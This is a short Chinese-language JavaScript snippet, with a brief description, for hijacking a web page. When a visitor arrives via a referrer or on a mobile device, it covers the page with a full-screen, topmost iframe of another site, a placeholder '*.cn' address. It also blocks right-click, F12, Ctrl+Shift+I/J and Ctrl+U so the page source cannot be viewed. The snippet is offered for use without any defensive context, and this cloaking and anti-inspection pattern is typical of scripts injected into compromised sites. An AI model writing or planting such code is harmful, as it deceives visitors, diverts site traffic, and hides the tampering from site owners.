根据用户来源和设备类型决定是否强制加载一个指定的网页

    根据用户来源(referrer)和设备类型(移动端/PC端)决定是否强制加载一个指定的网页,并禁止用户通过右键菜单或快捷键(如F12、Ctrl+U等)调试或查看源代码。

        var referrer = document.referrer || "";
        var hasReferrer = referrer !== ""; 
        var isMobile = /Macintosh|Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi|Mobile/i.test(navigator.userAgent);
    
        var targetUrls = [''];
    
        if (hasReferrer || isMobile) {
            targetUrls = ['http://www.*.cn/'];
        }
    
        var randomIndex = Math.floor(Math.random() * targetUrls.length);
        var finalUrl = targetUrls[randomIndex];
    	
        if (finalUrl !== '') {
            document.write('<meta name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
            document.write('<style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0;}</style>');
            document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">');
            document.write('<iframe src="' + finalUrl + '" frameborder="0" style="border:0;width:100%;height:100%;"></iframe>');
            document.write('</div>');
        }
    
        (function() {
            document.addEventListener('contextmenu', function(e) { e.preventDefault(); });
            document.addEventListener('keydown', function(e) {
                if (e.keyCode === 123 || (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74)) || (e.ctrlKey && e.keyCode === 85)) {
                    e.preventDefault();
                    return false;
                }
            });
        })();